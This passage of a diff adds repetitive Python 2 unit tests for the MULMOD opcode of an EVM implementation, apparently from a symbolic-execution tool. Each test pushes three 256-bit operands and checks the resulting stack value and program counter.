+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_645(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_646(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_647(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_648(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_649(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155544779788741370244678851449211392257L])
+
+    def test_MULMOD_650(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_651(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576255L])
+
+    def test_MULMOD_652(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155540074269713322909566543097236623632L])
+
+    def test_MULMOD_653(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [4857637100074584289907403537776625L])
+
+    def test_MULMOD_654(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [5192296858534827628530496329220080L])
+
+    def test_MULMOD_655(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10384593717069655257060992658440160L])
+
+    def test_MULMOD_656(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15576890575604482885591488987660240L])
+
+    def test_MULMOD_657(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_658(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_659(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_660(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_661(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_662(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_663(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_664(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_665(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_666(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_667(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576255L])
+
+    def test_MULMOD_668(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_669(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_MULMOD_670(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288112L])
+
+    def test_MULMOD_671(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10141204801825835211973625643023L])
+
+    def test_MULMOD_672(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_673(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_674(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_MULMOD_675(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
